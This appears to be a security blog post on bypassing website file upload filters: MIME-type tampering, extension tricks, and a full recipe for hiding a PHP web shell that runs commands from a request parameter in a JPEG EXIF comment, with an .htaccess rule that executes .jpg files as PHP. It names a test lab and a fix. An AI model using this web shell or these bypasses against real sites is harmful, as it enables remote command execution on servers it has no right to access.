Several ways may be used to protect a file upload functionality on a website.
A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php
) and then forwards the content to the server:
Thus, the content-type filtering is bypassed.
Another method consists in checking the file name extension. If simple bypasses like playing with lowercase (.PHP
instead of .php
), using multiple extension (.php.foo
) or triggering the NULL byte (.php%00.jpg
) do not work, there is a last chance by uploading a crafted image.
JPEG files are convenient for code injection: they support EXIF metadata, which include a comment field where anything can be written, as long as it is on a single line.
So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.
The method is however totally dependent on the ability to upload a .htaccess
file, which may be a long way to go.
Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped .php
file.
Anyway, for fun, here is how to do:
- Upload a
.htaccess
file that contains:AddType application/x-httpd-php .jpg
- Take a JPEG file of your choice, install the jhead tool (there are many alternatives, like exiftool, but this one is straightforward).
- House-keeping (delete extra headers):
jhead -purejpg <filename>.jpg
- Edit EXIF JPEG comment:
jhead -ce <filename>.jpg
- Copy / paste your PHP code, like this one for instance (must fit in one line):
<style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="./clean_imagejs';}__halt_compiler();?></h1>
This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.
- Just upload the file and test it! DVWA is a convenient and safe way for that.
Note this nice article as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.